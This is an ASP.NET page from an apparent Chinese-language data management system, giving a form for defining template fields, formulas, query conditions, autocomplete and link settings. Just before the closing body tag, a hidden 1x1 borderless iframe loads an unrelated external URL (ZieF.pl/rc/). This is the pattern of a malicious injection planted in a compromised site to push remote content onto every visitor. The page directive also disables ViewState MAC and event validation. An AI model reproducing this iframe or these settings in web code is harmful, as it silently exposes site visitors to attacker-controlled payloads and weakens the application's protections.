<%@ page language="C#" autoeventwireup="true" inherits="ims.web.templet, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="templet">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server" defaultbutton="pop$btnOK">
        <asp:HiddenField ID="curFieldId" runat="server" />
        <asp:ScriptManager ID="s1" runat="server">
            <Scripts><asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/><asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/></Scripts>
        </asp:ScriptManager>        
        <div class="pageTitle" runat="server" id="pageTitle"></div>
       <asp:UpdatePanel runat="server" ID="upRpt" UpdateMode="Conditional" RenderMode="Inline" OnPreRender="AttMouseEvent">
            <ContentTemplate>
                <div runat="server" id="EmptyPrompt" visible="false" class="highlight corner"></div>
                <asp:Repeater ID="rpt" runat="server" OnItemCommand="RptItemCommand" OnItemDataBound="RptItemBound">
                    <HeaderTemplate>
                        <table cellspacing="0" class="hr header">
                            <tr>
                                <td class="h">字段</td>
                                <td class="col">数据类型</td>
                                <td class="col">保密级别</td>
                                <td>备注</td>
                                <td class="opr">操作</td>
                            </tr>
                        </table>
                    </HeaderTemplate>
                    <ItemTemplate>
                    <table cellspacing="0" id="r_<%# Eval("ID") %>" class="hr">
                        <tr>
                            <td class="h"><asp:Image ID="imgType" ImageAlign="AbsBottom" runat="server" /><%# Eval("Name") %></td>
                            <td class="col"><%# ims.web.ui.getDataTypeName((ims.Model.DataType)Eval("DataType"))%></td>
                            <td class="col"><img src="images/sec<%# Eval("SecLevel") %>.gif" /></td>
                            <td><asp:Literal runat="server" id="lMent"></asp:Literal></td>
                            <td class="opr"><img onclick="return viewAttribu(<%# Eval("ID") %>);" title="编辑字段" src="images/edit.gif" /><asp:ImageButton ID="ibDel" ToolTip="删除" ImageUrl="images/del.gif" CommandName="del" runat="server"></asp:ImageButton></td>
                        </tr>
                    </table>
                    </ItemTemplate>
                </asp:Repeater>
            </ContentTemplate>
        </asp:UpdatePanel>
        <div class="footBtnArea">
            <input type="button" runat="server" value="添加字段" id="btnAddItem" style="width:66px" onclick="$f('curFieldId').value=0;" onserverclick="showAttributes" class="btn" />
            <input type="button" onclick="back();" value="返回" class="btn" />
            <input type="button" onclick="return showHelp('templet');" value="帮助" class="btn" />
        </div>
        
    <ims:Pop runat="server" ID="pop" HelpSubject="templet" OnPreRender="Pop_PreRender" OnOkClick="saveAttributes" OnOkClientClick="updateOrder();" Width="460" HideOnOkClientClick="false">
    <ContentTemplate>
       <table cellspacing="0">
        <tr title="字段名称：如人的身高、体重；汽车的品牌、价格。">
          <td>字段名称：<asp:TextBox runat="server" ID="itemName" MaxLength="255" Width="120"></asp:TextBox>
            </td>
        </tr>
        <tr title="数据类型：要在该字段中输入的数据的类型。">
          <td>数据类型：<asp:DropDownList ID="dataType" OnSelectedIndexChanged="controlField" AutoPostBack="true" runat="server">
              </asp:DropDownList><asp:DropDownList runat="server" ID="ddlSubType" OnSelectedIndexChanged="SubTypeChanged" AutoPostBack="true">
                <asp:ListItem Value="EMail">电子邮箱</asp:ListItem>
                <asp:ListItem Value="MobilePhone">手机号码</asp:ListItem>
                <asp:ListItem Value="QQ">QQ号码</asp:ListItem>
                <asp:ListItem Value="MSN">MSN帐号</asp:ListItem>
                <asp:ListItem Value="Skype">Skype帐号</asp:ListItem>
                <asp:ListItem Value="Ali">淘宝帐号</asp:ListItem>
                <asp:ListItem Value="AliChina">阿里巴巴帐号</asp:ListItem>
                <asp:ListItem Value="UserName">用户名</asp:ListItem>
                <asp:ListItem Value="UnitName">机构名</asp:ListItem>
              </asp:DropDownList><asp:DropDownList runat="server" ID="ddlVars">
              </asp:DropDownList>
            </td>
        </tr>
        <tr id="tr_formula" runat="server" title="公式：设置该字段的计算公式，公式的计算结果作为该字段的值。">
          <td>公式：　　<asp:TextBox runat="server" ID="formula" MaxLength="300" Width="120" ToolTip="以“[字段编号]”的形式引用模板中的数字字段"></asp:TextBox>
          <asp:DropDownList runat="server" ID="computableItems"></asp:DropDownList>
          <asp:DropDownList runat="server" ID="symbol">
            <asp:ListItem Value="" Selected="True">-运算符-</asp:ListItem>
            <asp:ListItem Value="+">加</asp:ListItem>
            <asp:ListItem Value="-">减</asp:ListItem>
            <asp:ListItem Value="*">乘</asp:ListItem>
            <asp:ListItem Value="/">除</asp:ListItem>
            <asp:ListItem Value="(">开括号</asp:ListItem>
            <asp:ListItem Value=")">闭括号</asp:ListItem>
          </asp:DropDownList><img src="images/what.gif" title="查看公式用法" onclick="What('formula')" class="what" />
            </td>
        </tr>
        <tr id="tr_valueType" runat="server" title="指定公式计算结果的数据类型">
          <td>结果类型：<asp:DropDownList runat="server" ID="ddlValueType" AutoPostBack="true" OnSelectedIndexChanged="ValueTypeChanged" >
            <asp:ListItem Value="Double" Selected="True">数字</asp:ListItem>
            <asp:ListItem Value="DateTime">日期时间</asp:ListItem>
            <asp:ListItem Value="Boolean">是/否</asp:ListItem>
            <asp:ListItem Value="String">其它</asp:ListItem>
          </asp:DropDownList></td>
        </tr>
        <tr class="hide" id="tr_regex_numeric" runat="server" title="数值范围：指定允许输入的数值范围。&#13;如“10，200”表示允许输入10到200之间的数字。">
          <td>数值范围：<asp:TextBox runat="server" ID="tbRange" ToolTip="填入以逗号分隔的两个数字。如：&#13;“10，50”：表示输入的值X必须在10≤X≤50的范围内；&#13;“10，”：只允许输入≥10的数字。" MaxLength="50" Width="120"></asp:TextBox><img src="images/what.gif" title="查看说明" onclick="What('NumberRange')" class="what" /></td>
        </tr>
        <tr id="tr_numformat" runat="server">
            <td>
                <fieldset><legend>数值显示格式</legend>
                    <div class="padbox">
                    货币符号：<asp:TextBox runat="server" ID="tbCurrency" ToolTip="如果不是用于货币的数字，不必填写该项" Width="60"></asp:TextBox>，
                    单位：<asp:TextBox runat="server" ID="tbUnit" Width="59"></asp:TextBox><br />
                    小数设置：<asp:DropDownList runat="server" ID="bitsMode">
                    <asp:ListItem Value="long">无条件</asp:ListItem>
                    <asp:ListItem Value="short">最多</asp:ListItem>
                </asp:DropDownList>保留<asp:DropDownList runat="server" ID="bits">
                    <asp:ListItem Value="0">0</asp:ListItem>
                    <asp:ListItem Value="1">1</asp:ListItem>
                    <asp:ListItem Value="2" Selected="True">2</asp:ListItem>
                    <asp:ListItem Value="3">3</asp:ListItem>
                    <asp:ListItem Value="4">4</asp:ListItem>
                    <asp:ListItem Value="5">5</asp:ListItem>
                    <asp:ListItem Value="6">6</asp:ListItem>
                    <asp:ListItem Value="7">7</asp:ListItem>
                    <asp:ListItem Value="8">8</asp:ListItem>
                    <asp:ListItem Value="9">9</asp:ListItem>
                    <asp:ListItem Value="10">10</asp:ListItem>
                    <asp:ListItem Value="12">12</asp:ListItem>
                    <asp:ListItem Value="15">15</asp:ListItem>
                </asp:DropDownList>位小数<br />
                    <asp:CheckBox ID="cbSpecial" Text="使用" runat="server" /><asp:DropDownList runat="server" ID="ddlSpecial"><asp:ListItem Value="Percentage">百分比(%)</asp:ListItem><asp:ListItem Value="Permillage">千分比(‰)</asp:ListItem><asp:ListItem Value="ThousandthSplit">千位分隔符</asp:ListItem></asp:DropDownList><br />
                    <asp:CheckBox ID="cbSciNotation" Text="在数值太大或太小时使用科学计数法" runat="server" /><br />
                    <asp:CheckBox ID="cbCustom" Text="自定义格式：" runat="server" /><asp:TextBox runat="server" ID="tbCustom"></asp:TextBox><img src="images/what.gif" title="查看解释" onclick="What('numberformat')" class="what" />
                    </div>
                </fieldset>
            </td>
        </tr>
        <tr id="tr_DateTimeType" runat="server" title="输入模式：设置允许输入的日期和时间格式。">
          <td>时间格式：<asp:DropDownList ID="ddlDateTimeType" runat="server">
              <asp:ListItem Selected="true" Value="DateOnly">年-月-日</asp:ListItem>
              <asp:ListItem Value="DateAndShortTime">年-月-日 时:分</asp:ListItem>
              <asp:ListItem Value="DateAndTime">年-月-日 时:分:秒</asp:ListItem>
              </asp:DropDownList> 
            </td>
        </tr>
        <tr id="tr_query" runat="server">
            <td>
            <asp:UpdatePanel ID="upQuery" runat="server" RenderMode="inline" ChildrenAsTriggers="true" UpdateMode="conditional">
            <ContentTemplate>
            <fieldset><legend>查询：<asp:DropDownList ID="ddlTemplets" AutoPostBack="true" OnSelectedIndexChanged="InitByTemplet" runat="server"></asp:DropDownList></legend>
                <fieldset runat="server" id="queryCond" class="mbottom_m"><legend>条件：</legend>
                <asp:CheckBox ID="cbCond1" Text="过滤器：" runat="server" /><asp:DropDownList ID="ddlFilters"
                runat="server"></asp:DropDownList>
                <asp:HyperLink ID="hlAddFilter" Text="添加过滤器" runat="server"></asp:HyperLink>
                <div id="d1" runat="server"><asp:RadioButtonList runat="server" ID="rbl1" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                <asp:CheckBox ID="cbCond2" Checked="true" runat="server" /><asp:DropDownList ID="ddlSourceFields" runat="server"></asp:DropDownList>
                    <asp:DropDownList ID="ddlCondOperators" onchange="checkCondMode(this);" runat="server" Width="52"></asp:DropDownList>
                    当前<asp:DropDownList ID="ddlTargetFields" runat="server"></asp:DropDownList>
                <a runat="server" id="add1" href="#" onclick="return addCond();">增加条件</a> 
                </div>
                <div id="d2" runat="server"><asp:RadioButtonList runat="server" ID="rbl2" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                <asp:CheckBox ID="cbCond3" runat="server" /><asp:DropDownList ID="ddlSourceFields3" runat="server"></asp:DropDownList>
                    <asp:DropDownList ID="ddlCondOperators3" onchange="checkCondMode(this);" runat="server" Width="52"></asp:DropDownList>
                    当前<asp:DropDownList ID="ddlTargetFields3" runat="server"></asp:DropDownList>
                <a runat="server" id="add2" href="#" onclick="return addCond();">增加条件</a> 
                </div>
                <div id="d3" runat="server"><asp:RadioButtonList runat="server" ID="rbl3" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                <asp:CheckBox ID="cbCond4" runat="server" /><asp:DropDownList ID="ddlSourceFields4" runat="server"></asp:DropDownList>
                    <asp:DropDownList ID="ddlCondOperators4" onchange="checkCondMode(this);" runat="server" Width="52"></asp:DropDownList>
                    当前<asp:DropDownList ID="ddlTargetFields4" runat="server"></asp:DropDownList></div>                
                </fieldset>
                <fieldset runat="server" id="queryResult"><legend>取值：</legend>
                <asp:RadioButton ID="rbResult1" GroupName="QueryResult" Text="取" runat="server" /><asp:DropDownList ID="ddlResultSortFields"
                runat="server"></asp:DropDownList>最<asp:DropDownList ID="ddlSortDirection" runat="server">
                    <asp:ListItem Value="Ascending" Selected="true">小</asp:ListItem>
                    <asp:ListItem Value="Descending">大</asp:ListItem>
                </asp:DropDownList>的<asp:DropDownList ID="ddlResultFields1" runat="server">
                </asp:DropDownList><img src="images/what.gif" title="查看解释" onclick="What('queryValue')" class="what" /><br />
                <asp:UpdatePanel ID="up" runat="server" RenderMode="Block" UpdateMode="conditional">
                <ContentTemplate>
                <asp:RadioButton ID="rbResult2" Checked="true" GroupName="QueryResult" Text="对" runat="server" /><asp:DropDownList
                    ID="ddlResultFields2" runat="server" AutoPostBack="true" OnSelectedIndexChanged="setComputeFuns" OnDataBound="setComputeFuns"></asp:DropDownList>计算<asp:DropDownList ID="ddlCompute" runat="server">
                </asp:DropDownList>
                </ContentTemplate>
                </asp:UpdatePanel>
                <asp:RadioButton ID="rbResult3" GroupName="QueryResult" Text="统计数量" runat="server" />
                </fieldset>
                <div id="promptMsg" runat="server" class="padcenter gray">请选择查询源！</div>
            </fieldset>
            </ContentTemplate>
            </asp:UpdatePanel>
            </td>
        </tr>
         <tr id="tr_options" runat="server">
          <td>
              <fieldset><legend title="添加或移除在编辑该字段内容时可供选择的选项。">选项设置： </legend>
                <asp:UpdatePanel ID="upOptions" runat="server" OnPreRender="RegSortable" RenderMode="inline" ChildrenAsTriggers="true" UpdateMode="conditional">
                <ContentTemplate>
                  <div id="optionsDiv" runat="server">
                      <asp:CheckBoxList OnPreRender="setHeight" ID="options" runat="server" RepeatLayout="Flow" RepeatDirection="horizontal"></asp:CheckBoxList>
                  </div>
                  添加选项：<asp:TextBox ID="newItem" runat="server" Width="55" onkeydown="return enterTo('pop_addItem');"></asp:TextBox>
                  <asp:Button ID="addItem" CssClass="btn" runat="server" Text="添加" OnClick="AddItem" OnClientClick="updateOrder();" Width="36" />
                  <asp:Button ID="removeItems" CssClass="btn" runat="server" OnClick="RemoveItems" OnClientClick="updateOrder();" Text="删除选定项" Width="76" />
                  <asp:Button ID="removeAll" CssClass="btn" runat="server" OnClick="RemoveItems" Text="删除所有项" Width="76" />
                </ContentTemplate>
                </asp:UpdatePanel>
            </fieldset>
          </td>
        </tr>
        <tr id="tr_contentLen" runat="server" title="内容长度：该字段中允许输入的最大字符数。“0”或留空表示不限字数。">
          <td>内容长度：<asp:TextBox runat="server" ID="contentLen" MaxLength="15" Width="120"></asp:TextBox></td>
        </tr>
        <tr class="hide" id="tr_regex_text" runat="server" title="输入规范：用正则表达式确保所输入的数据符合规则。">
          <td>输入规范：<asp:TextBox runat="server" ID="tbReg" ToolTip="输入用于限制和验证数据的正则表达式" MaxLength="255" Width="120"></asp:TextBox><img src="images/what.gif" title="查看说明" onclick="What('FieldRegex')" class="what" /></td>
        </tr>
        <tr class="hide" id="tr_note" runat="server" title="在数据输入界面显示给用户的说明文字">
          <td>输入说明：<asp:TextBox runat="server" ID="tbNote" MaxLength="255" Width="380"></asp:TextBox></td>
        </tr>
        <tr id="tr_defaultVal" runat="server" title="指定在输入时，该字段的初始值">
          <td>默认值：　<asp:TextBox runat="server" ID="defaultVal" Width="120"></asp:TextBox></td>
        </tr>
        <tr class="hide" title="保密级别：设置该字段的保密级别，以控制用户在浏览时是否可以看到其内容。">
          <td>保密级别：<asp:DropDownList ID="secLevel" runat="server"></asp:DropDownList></td>
        </tr>
         <tr id="tr_enUpdate" runat="server" title="确定在对已有记录进行编辑时，是否自动更新该变量字段的值">
          <td><asp:CheckBox runat="server" ID="updateVar" Text="编辑时更新变量值"></asp:CheckBox></td>
        </tr>
        <tr id="tr_enEditor" runat="server" title="使用编辑器：指定在编辑该字段内容时，是否使用支持格式和样式的在线编辑器。">
          <td><asp:CheckBox runat="server" ID="enEditor" Text="使用编辑器" AutoPostBack="true" OnCheckedChanged="setMutex"></asp:CheckBox></td>
        </tr>
        <tr id="tr_autoNumber" runat="server" title="编号规则：设置自动编号的编号规则。">
          <td>
              <fieldset><legend>编号组成：</legend>
                  <asp:CheckBox runat="server" ID="cbPrefix" Text="前缀："></asp:CheckBox><asp:TextBox runat="server" ID="tbPrefix" MaxLength="110"></asp:TextBox><br />
                  <asp:CheckBox runat="server" ID="cbRandom" onchange="switchNo();" Text="随机字符串"></asp:CheckBox><br />
                  <div id="divNo">
                      <asp:CheckBox runat="server" ID="cbTime" Text="时间字符串："></asp:CheckBox><asp:TextBox runat="server" ID="tbTime" MaxLength="20"></asp:TextBox><img src="images/what.gif" title="查看解释" onclick="What('DateFormat')" class="what" /><br />
                      <asp:CheckBox runat="server" ID="cbSerial" Text="顺序号："></asp:CheckBox>位数:<asp:TextBox runat="server" ID="tbSerial" Width="32" MaxLength="2"></asp:TextBox> 初始值:<asp:TextBox runat="server" ID="tbInitValue" MaxLength="9" Width="48"></asp:TextBox> 递增:<asp:TextBox runat="server" ID="tbStep" MaxLength="4" Width="32"></asp:TextBox>，重置周期:<asp:DropDownList runat="server" ID="ddlLoop"></asp:DropDownList>
                  </div>
                  <asp:CheckBox runat="server" ID="cbSuffix" Text="后缀："></asp:CheckBox><asp:TextBox runat="server" ID="tbSuffix" MaxLength="110"></asp:TextBox>              
              </fieldset>
          </td>
        </tr>
        <tr id="tr_autoComplete" runat="server" title="输入提示：设置在编辑该字段内容时，是否启用输入提示(自动完成)功能。">
          <td>
              <asp:CheckBox runat="server" ID="enAutoComplete" Text="输入提示" AutoPostBack="true" OnCheckedChanged="setMutex"></asp:CheckBox>
              <fieldset runat="server" id="acOptions"><legend><asp:CheckBox runat="server" ID="cbAc" AutoPostBack="true" OnCheckedChanged="setMutex" Text="输入提示：" /></legend>
              <b>&nbsp;数据来源：</b><asp:DropDownList ID="acTemplets" runat="server" AutoPostBack="true" OnSelectedIndexChanged="FillAcFields" OnDataBound="FillAcFields"></asp:DropDownList>
              <fieldset class="mbottom_m"><legend>筛选：</legend>
                <div id="acDiv">
                    <asp:CheckBox ID="acCond1" Text="过滤器：" runat="server" /><asp:DropDownList ID="ddlFilters_Ac" runat="server"></asp:DropDownList>
                        <asp:HyperLink ID="hlAddFilter_Ac" Text="添加过滤器" runat="server" />
                    <div id="ac_c1" runat="server"><asp:RadioButtonList runat="server" ID="ac_rbl_1" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                    <asp:CheckBox ID="acCond2" Checked="true" runat="server" /><asp:DropDownList ID="ddlSrcFields_Ac"
                    runat="server" /><asp:DropDownList ID="ac_operators" Width="52" runat="server" />当前<asp:DropDownList ID="ddlTarFields_Ac" runat="server" />
                    <a runat="server" id="ac_add_1" href="#" onclick="return addCond();">增加条件</a>
                    </div>
                    <div id="ac_c2" runat="server"><asp:RadioButtonList runat="server" ID="ac_rbl_2" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                    <asp:CheckBox ID="acCond3" Checked="true" runat="server" /><asp:DropDownList ID="ddlSrcFields3_Ac"
                    runat="server" /><asp:DropDownList ID="ac_operators3" Width="52" runat="server" />当前<asp:DropDownList ID="ddlTarFields3_Ac" runat="server" />
                    <a runat="server" id="ac_add_2" href="#" onclick="return addCond();">增加条件</a>
                    </div>
                    <div id="ac_c3" runat="server"><asp:RadioButtonList runat="server" ID="ac_rbl_3" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                    <asp:CheckBox ID="acCond4" Checked="true" runat="server" /><asp:DropDownList ID="ddlSrcFields4_Ac"
                    runat="server" /><asp:DropDownList ID="ac_operators4" Width="52" runat="server" />当前<asp:DropDownList ID="ddlTarFields4_Ac" runat="server" />
                    </div>
                </div> 
            </fieldset>
            <asp:UpdatePanel ID="up_Ac" runat="server" RenderMode="Block" OnPreRender="AddScript" UpdateMode="conditional">
            <ContentTemplate>
            <fieldset onclick="setAcOptions();"><legend>取值：</legend>
                <asp:RadioButton ID="rbResult1_Ac" GroupName="AcQueryResult" Text="取" runat="server" /><asp:DropDownList ID="ddlResultSortFields_Ac"
                runat="server"></asp:DropDownList>最<asp:DropDownList ID="ddlSortDirection_Ac" runat="server">
                    <asp:ListItem Value="Ascending" Selected="true">小</asp:ListItem>
                    <asp:ListItem Value="Descending">大</asp:ListItem>
                </asp:DropDownList>的<asp:DropDownList runat="server" ID="ddlTopn">
                    <asp:ListItem Value="1">第1项</asp:ListItem>
                    <asp:ListItem Value="10">前10项</asp:ListItem>
                    <asp:ListItem Value="20">前20项</asp:ListItem>
                    <asp:ListItem Value="30">前30项</asp:ListItem>
                    <asp:ListItem Value="50">前50项</asp:ListItem>
                    <asp:ListItem Value="100">前99项</asp:ListItem>
                </asp:DropDownList><asp:DropDownList ID="ddlResultFields1_Ac" runat="server">
                </asp:DropDownList><br />
                <div runat="server" id="divFuns">
                <asp:RadioButton ID="rbResult2_Ac" Checked="true" GroupName="AcQueryResult" Text="对" runat="server" /><asp:DropDownList
                    ID="ddlResultFields2_Ac" runat="server" AutoPostBack="true" OnSelectedIndexChanged="setComputeFuns" OnDataBound="setComputeFuns"></asp:DropDownList>计算<asp:DropDownList ID="ddlCompute_Ac" runat="server">
                </asp:DropDownList>
                </div>
                <asp:RadioButton ID="rbResult3_Ac" GroupName="AcQueryResult" Text="统计数量" runat="server" />
            </fieldset>
            <div id="options">
                <asp:CheckBox runat="server" ID="cbAutoFill" Text="自动填充" onclick="setDisEdit();" ToolTip="录入时自动取值" />
                <asp:CheckBox runat="server" ID="cbDisEdit" Text="禁止修改" ToolTip="确定是否允许修改自动填充的值" />
                <asp:CheckBox runat="server" ID="cbEnMutiItems" ToolTip="输入一项后，键入指定分隔符，会重新产生提示列表来继续输入" Text="允许多项输入，分隔符：" /><asp:DropDownList runat="server" ID="ddlChars">
                    <asp:ListItem Selected="True" Value=",，">逗号(,)</asp:ListItem>
                    <asp:ListItem Value=" 　">空格( )</asp:ListItem>
                    <asp:ListItem Value=";；">分号(;)</asp:ListItem>
                    <asp:ListItem Value="/">斜杠(/)</asp:ListItem>
                    <asp:ListItem Value="、">顿号(、)</asp:ListItem>
                </asp:DropDownList>
                <asp:CheckBox runat="server" ID="cbLimit" Text="只接受数据源范围内的值" />
            </div>
            </ContentTemplate>
            </asp:UpdatePanel>
            </fieldset>
          </td>
        </tr>
        <tr id="tr_innerLink" runat="server" title="链接：使该字段值显示为一个链接，点击可打开设定的目标。">
          <td>
            <asp:UpdatePanel ID="upLink" runat="server" RenderMode="inline" ChildrenAsTriggers="true" UpdateMode="conditional">
            <ContentTemplate>
              <asp:CheckBox runat="server" ID="linkTo" Text="链接" OnCheckedChanged="linkTo_changed" AutoPostBack="true"></asp:CheckBox>
              <fieldset runat="server" id="linkSetting"><legend><asp:CheckBox runat="server" ID="cbLinkTo" Text="链接到：" Checked="true" OnCheckedChanged="linkTo_changed" AutoPostBack="true" /></legend>
                  <asp:RadioButton ID="rbTarget1" AutoPostBack="true" Checked="true" OnCheckedChanged="rbTarget_Changed" GroupName="linkTarget" runat="server" /><asp:DropDownList ID="ddlLinkTemplets" runat="server" AutoPostBack="true" OnSelectedIndexChanged="ddlLinkTemplets_Changed" OnDataBound="ddlLinkTemplets_Changed" /><br />
                  <div id="linkDiv" runat="server" style="padding-left:1.5em;">
                    <asp:CheckBox ID="cond1" Text="过滤器：" runat="server" /><asp:DropDownList ID="ddlFilters_Link" runat="server"></asp:DropDownList>
                        <asp:HyperLink ID="hlAddFilter_link" Text="添加过滤器" runat="server" />
                    <div id="c1" runat="server"><asp:RadioButtonList runat="server" ID="rbl_1" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                    <asp:CheckBox ID="cond2" Checked="true" runat="server" /><asp:DropDownList ID="ddlSrcFields"
                    runat="server" /><asp:DropDownList ID="operators" Width="52" runat="server" />当前<asp:DropDownList ID="ddlTarFields" runat="server" />
                    <a runat="server" id="add_1" href="#" onclick="return addCond();">增加条件</a>
                    </div>
                    <div id="c2" runat="server"><asp:RadioButtonList runat="server" ID="rbl_2" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                    <asp:CheckBox ID="cond3" Checked="true" runat="server" /><asp:DropDownList ID="ddlSrcFields3"
                    runat="server" /><asp:DropDownList ID="operators3" Width="52" runat="server" />当前<asp:DropDownList ID="ddlTarFields3" runat="server" />
                    <a runat="server" id="add_2" href="#" onclick="return addCond();">增加条件</a>
                    </div>
                    <div id="c3" runat="server"><asp:RadioButtonList runat="server" ID="rbl_3" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
                    <asp:CheckBox ID="cond4" Checked="true" runat="server" /><asp:DropDownList ID="ddlSrcFields4"
                    runat="server" /><asp:DropDownList ID="operators4" Width="52" runat="server" />当前<asp:DropDownList ID="ddlTarFields4" runat="server" />
                    </div>                    
                  </div>
                  <asp:RadioButton ID="rbTarget3" AutoPostBack="true" OnCheckedChanged="rbTarget_Changed" GroupName="linkTarget" Text="网址：" runat="server" /><asp:TextBox runat="server" ID="tbUrl" Width="170"></asp:TextBox>＋<asp:DropDownList ID="ddlCurFields" runat="server" /><br />
                  <asp:RadioButton ID="rbTarget2" AutoPostBack="true" OnCheckedChanged="rbTarget_Changed" GroupName="linkTarget" Text="目录：" runat="server" /><a id="selectedDir" runat="server" href="#" onclick="return showDirTree(true);" onserverclick="DirChanged">根目录</a>
            </fieldset>
            </ContentTemplate>
            </asp:UpdatePanel>
          </td>
        </tr>
        <tr id="tr_allowNull" runat="server" title="必填字段：指定在编辑时，该字段是否必须输入一个值。">
          <td><asp:CheckBox runat="server" ID="required" Text="必填字段"></asp:CheckBox></td>
        </tr>
        <tr id="tr_allowRepeat" runat="server" title="不允许重复值：指定是否允许记录中该字段出现相同的值。">
          <td><asp:CheckBox runat="server" ID="distinct" Text="不允许重复值"></asp:CheckBox></td>
        </tr>
        <tr class="hide" title="隐藏：指定在浏览时是否隐藏该字段。">
          <td><asp:CheckBox runat="server" ID="cbVisible" Text="隐藏"></asp:CheckBox></td>
        </tr>
        </table>
        <div class="right"><span onclick="$('tr.hide').show();$(this).hide();">显示所有选项</span></div>
    </ContentTemplate>
    </ims:Pop>
    <script src="js/comm.js"></script><script src="js/templet.js"></script>
    </form>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>